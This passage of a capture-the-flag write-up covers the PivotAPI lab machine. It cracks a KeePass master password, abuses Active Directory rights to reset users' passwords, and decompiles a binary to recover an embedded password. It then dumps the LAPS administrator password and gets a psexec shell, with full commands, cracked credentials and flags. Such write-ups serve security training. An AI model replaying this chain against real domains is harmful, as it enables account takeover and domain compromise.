*Evil-WinRM* PS C:\Users\svc_mssql\Documents>
After logging in we find two files which we download for further analysis.
*Evil-WinRM* PS C:\Users\svc_mssql\desktop> dir
Directorio: C:\Users\svc_mssql\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/8/2020 10:12 PM 2286 credentials.kdbx
-a---- 4/30/2021 10:39 AM 93 note.txt
┌─[s1gh@fsociety]─[~/pivotapi/files]
└──╼ $ cat note.txt ; echo
Long running MSSQL Proxies can cause issues. Please switch to SSH after getting credentials.
┌─[s1gh@fsociety]─[~/pivotapi/files]
└──╼ $ file credentials.kdbx
credentials.kdbx: Keepass password database 2.x KDBX
The Keepass database is encrypted with a master password, so in order to get access to the database, we first need to crack the password.
This can be done with keepass2john and John.
┌─[s1gh@fsociety]─[~/pivotapi/files]
└──╼ $ keepass2john credentials.kdbx > keepass.hash
┌─[s1gh@fsociety]─[~/pivotapi/files]
└──╼ $ cat keepass.hash
credentials:$keepass$*2*60000*0*006e4f7f747a915a0301bded09da8339260ff96caf1ca7cef63b8fdd37c6a836*deabca672663938eddc0ee9e2726d9ff65d4ab7c6863f6f712f1c14b97c670a2*b33392502f94cd323ed25bc2d9c1749a*67ac769a9693b2ef7f1a149fb4e182042fcd2888df727ef4226edb5d9ae35c5c*dccf52b56e846bf088caa284beeaceffe16f304586ee13e87197387bac16ca6b
┌─[s1gh@fsociety]─[~/pivotapi/files]
└──╼ $ john keepass.hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
mahalkita (credentials)
1g 0:00:00:04 DONE 2/3 (2021-07-15 11:22) 0.2325g/s 697.6p/s 697.6c/s 697.6C/s princess1..celtic
Use the "--show" option to display all of the cracked passwords reliably
Session completed
The password is cracked, and we can now access the Keepass database with the following password: mahalkita
.
We finally have a set of credentials which we can use to login to the server!
3v4Si0N:Gu4nCh3C4NaRi0N!23
┌─[✗]─[s1gh@fsociety]─[~/pivotapi/files]
└──╼ $ ssh 3v4Si0N@10.10.10.240
3v4Si0N@10.10.10.240's password:
Microsoft Windows [Versión 10.0.17763.1879]
(c) 2018 Microsoft Corporation. Todos los derechos reservados.
licordebellota\3v4si0n@PIVOTAPI C:\Users\3v4Si0N>cd desktop
licordebellota\3v4si0n@PIVOTAPI C:\Users\3v4Si0N\Desktop>type user.txt
4855ef51169f74e4d5d79befd933d719
We just pwned the user!
Privilege Escalation
When doing some basic enumeration of the filesystem, I noticed a Developers directory.
But we get access denied when trying to browse to it.
licordebellota\3v4si0n@PIVOTAPI C:\>dir
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: B2F2-7E0A
Directorio de C:\
08/08/2020 19:23 <DIR> Developers
08/08/2020 12:53 <DIR> inetpub
08/08/2020 22:48 <DIR> PerfLogs
19/02/2021 14:42 <DIR> Program Files
09/08/2020 17:06 <DIR> Program Files (x86)
14/07/2021 16:43 <DIR> Users
14/07/2021 16:59 <DIR> Windows
0 archivos 0 bytes
7 dirs 13.919.334.400 bytes libres
licordebellota\3v4si0n@PIVOTAPI C:\>cd Developers
Acceso denegado.
Looking at the different groups in the domain, reveals that a Developers group exist.
licordebellota\3v4si0n@PIVOTAPI C:\>net group /domain
Cuentas de grupo de \\PIVOTAPI
-------------------------------------------------------------------------------
*Administradores clave
*Administradores clave de la organización
*Administradores de empresas
*Administradores de esquema
*Admins. del dominio
*Controladores de dominio
*Controladores de dominio clonables
*Controladores de dominio de sólo lectura
*Developers
*DnsUpdateProxy
*Enterprise Domain Controllers de sólo lectura
*Equipos del dominio
*Invitados del dominio
*LAPS ADM
*LAPS READ
*Propietarios del creador de directivas de grupo
*Protected Users
*Usuarios del dominio
*WinRM
Se ha completado el comando correctamente.
Somehow we probably need to compromise a user of the Developer group in order to access that directory.
Looking at the members of this group show the following.
licordebellota\3v4si0n@PIVOTAPI C:\>net group Developers /domain
Nombre de grupo Developers
Comentario
Miembros
-------------------------------------------------------------------------------
jari superfume
Se ha completado el comando correctamente
In order to get access to the Developers directory we need to compromise either jari
or superfume
.
Going back to Bloodhound we can see that the user 3v4si0n has GenericAll
to the user Dr.Zaiuss
.
And Dr.Zaiuss
in turn have GenericAll
to the user superfume
.
We now have a clear attach path:
- Change the password to the Dr.Zaiuss user.
- Use the Dr.Zaiuss user to change the password to the superfume user.
Looking at the groups superfume
is a member of shows that the user is a member of WinRM
. So after we've taken control of that user we can easily PS Remote into the machine and see what's in the Developers directory.
First we take control over the Dr.Zaiuss
user.
licordebellota\3v4si0n@PIVOTAPI C:\>net user dr.zaiuss NewPassword1234 /domain
Se ha completado el comando correctamente.
We now use rpcclient
and login as Dr.Zaiuss
, in order to change the password of superfume
.
┌─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ rpcclient -U 'dr.zaiuss' 10.10.10.240
Enter WORKGROUP\dr.zaiuss's password:
rpcclient $> setuserinfo2 superfume 23 'NewPassword1234'
We can use CrackMapExec to verify that we actually changed the password for superfume
.
┌─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ cme smb 10.10.10.240 -u superfume -p NewPassword1234
SMB 10.10.10.240 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.240 445 PIVOTAPI [+] LicorDeBellota.htb\superfume:NewPassword1234
Now we need to proxy WinRM through MSSQL again, and PS Remote into the server as superfume
.
┌─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ proxychains4 -f /etc/proxychains4.conf evil-winrm -i 10.10.10.240 -u superfume -p NewPassword1234
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/local/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.14
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
[proxychains] Strict chain ... 127.0.0.1:1337 ... 10.10.10.240:5985 ... OK
*Evil-WinRM* PS C:\Users\superfume\Documents>
Looking at the Developers directory reveals to folders. One of them is named "Jari" and contains two files.
*Evil-WinRM* PS C:\developers\Jari> dir
Directorio: C:\developers\Jari
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/8/2020 7:26 PM 3676 program.cs
-a---- 8/8/2020 7:18 PM 7168 restart-mssql.exe
Again, looking at Bloodhound we can see that the Jari
user have ForceChangePassword
to the user Gibdeon
.
And looking at the Gibdeon
user reveals that the user is a part of the Account Operators
group.
We have a possible attack path, IF we can somehow get the password for the Jari
user from the files we downloaded.
So, let's analyze what we have.
The source code of the program doesn't really gives us much, other than the fact that Jari
is used a username.
But considering that the code is written in C#, let's decompile the restart-mssql.exe
file in dnSpy.
We now see that both the bytes
and data
variable contains information.
What if we just add a Console.WriteLine
to the code and print out the array
variable? That variable should contain the decrypted password for the Jari
user.
We end up with the following code for Main
.
private static void Main()
{
string value = "\r\n ____ __ __ __\r\n / __ \\___ _____/ /_____ ______/ /_ ____ ___ ______________ _/ /\r\n / /_/ / _ \\/ ___/ __/ __ `/ ___/ __/ / __ `__ \\/ ___/ ___/ __ `/ / \r\n / _, _/ __(__ ) /_/ /_/ / / / /_ / / / / / (__ |__ ) /_/ / / \r\n/_/ |_|\\___/____/\\__/\\__,_/_/ \\__/ /_/ /_/ /_/____/____/\\__, /_/ \r\n /_/ \r\n by @HelpDesk 2020\r\n\r\n";
byte[] bytes = Encoding.ASCII.GetBytes("CR_is_a_crybaby");
byte[] data = new byte[]
{
66,
180,
137,
236,
54,
46,
36,
97,
214,
48,
90,
72,
24,
83
};
byte[] array = Program.RC4.Decrypt(bytes, data);
Console.WriteLine(value);
Console.WriteLine(Encoding.Default.GetString(array)); // Our print statement
Thread.Sleep(5000);
Process process = new Process();
SecureString secureString = new SecureString();
process.StartInfo.FileName = "c:\\windows\\syswow64\\cmd.exe";
process.StartInfo.Arguments = "/c sc.exe stop SERVICENAME ; sc.exe start SERVICENAME";
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.UserName = "Jari";
string text = "";
for (int i = 0; i < text.Length; i++)
{
secureString.AppendChar(text[i]);
}
process.StartInfo.Password = secureString;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
}
Recompile and save the program and run it should reveal the password in cleartext.
We now have the password for the Jari
user. And once again, we can verify this by using CrackMapExec.
┌─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ cme smb 10.10.10.240 -u jari -p 'Cos@Chung@!RPG'
SMB 10.10.10.240 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.240 445 PIVOTAPI [+] LicorDeBellota.htb\jari:Cos@Chung@!RPG
We can now use rpcclient
one again and change the password for the Gibdeon
user.
─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ rpcclient -U jari 10.10.10.240
Enter WORKGROUP\jari's password:
rpcclient $> setuserinfo2 gibdeon 23 'Password1234'
Verifying we have changed the password.
┌─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ cme smb 10.10.10.240 -u gibdeon -p 'Password1234'
SMB 10.10.10.240 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.240 445 PIVOTAPI [+] LicorDeBellota.htb\gibdeon:Password1234
Earlier, when looking through the Bloodhound data, I noticed that they are using LAPS (Local Administrator Password Solution).
They also have a few groups called LAPS READ
and LAPS ADM
.
Looking at the members of the LAPS READ
groups reveals the following:
licordebellota\3v4si0n@PIVOTAPI C:\>net group "LAPS READ" /domain
Nombre de grupo LAPS READ
Comentario
Miembros
-------------------------------------------------------------------------------
cybervaca lothbrok
Se ha completado el comando correctamente.
Since cybervaca
is a domain administrator, users in the Account Operators
group can't change the password for that user.
But what about the lothbrok
user? That user is not a part of any administrator groups.
So we should be able to change the password of that user, and dump the LAPS password.
Again we use rpcclient
.
┌─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ rpcclient -U gibdeon 10.10.10.240
Enter WORKGROUP\gibdeon's password:
rpcclient $> setuserinfo2 lothbrok 23 'Password1234'
We can now use LAPSDumper
to dump the LAPS password.
┌─[✗]─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ python LAPSDumper/laps.py -u lothbrok -p Password1234 -l 10.10.10.240 -d LicorDeBellota.htb
PIVOTAPI$:EEv8H8S029yHdJCB2M8Z
And now we can login as Administrator using ex. psexec
.
But remember that the server is in spanish, so you must use the correct username: Administrador
┌─[s1gh@fsociety]─[~/pivotapi]
└──╼ $ impacket-psexec Administrador:EEv8H8S029yHdJCB2M8Z@10.10.10.240
Impacket v0.9.24.dev1+20210630.100536.73b9466c - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 10.10.10.240.....
[*] Found writable share ADMIN$
[*] Uploading file ScGTWVOt.exe
[*] Opening SVCManager on 10.10.10.240.....
[*] Creating service XsMH on 10.10.10.240.....
[*] Starting service XsMH.....
[!] Press help for extra shell commands
Microsoft Windows [Versión 10.0.17763.1879]
(c) 2018 Microsoft Corporation. Todos los derechos reservados.
C:\Windows\system32>
Looking at the desktop of the Administrator user gives us nothing.
C:\Users\administrador\Desktop>dir
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: B2F2-7E0A
Directorio de C:\Users\administrador\Desktop
28/04/2021 23:36 <DIR> .
28/04/2021 23:36 <DIR> ..
0 archivos 0 bytes
2 dirs 13.914.238.976 bytes libres
But checking the desktop of the cybervaca
user gives us the root flag!
C:\Users\cybervaca\Desktop>dir
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: B2F2-7E0A
Directorio de C:\Users\cybervaca\Desktop
30/04/2021 10:31 <DIR> .
30/04/2021 10:31 <DIR> ..
10/08/2020 20:00 32 root.txt
1 archivos 32 bytes
2 dirs 13.914.238.976 bytes libres
C:\Users\cybervaca\Desktop>type root.txt
b32c5e3ee389ee920f6aa1efa025048d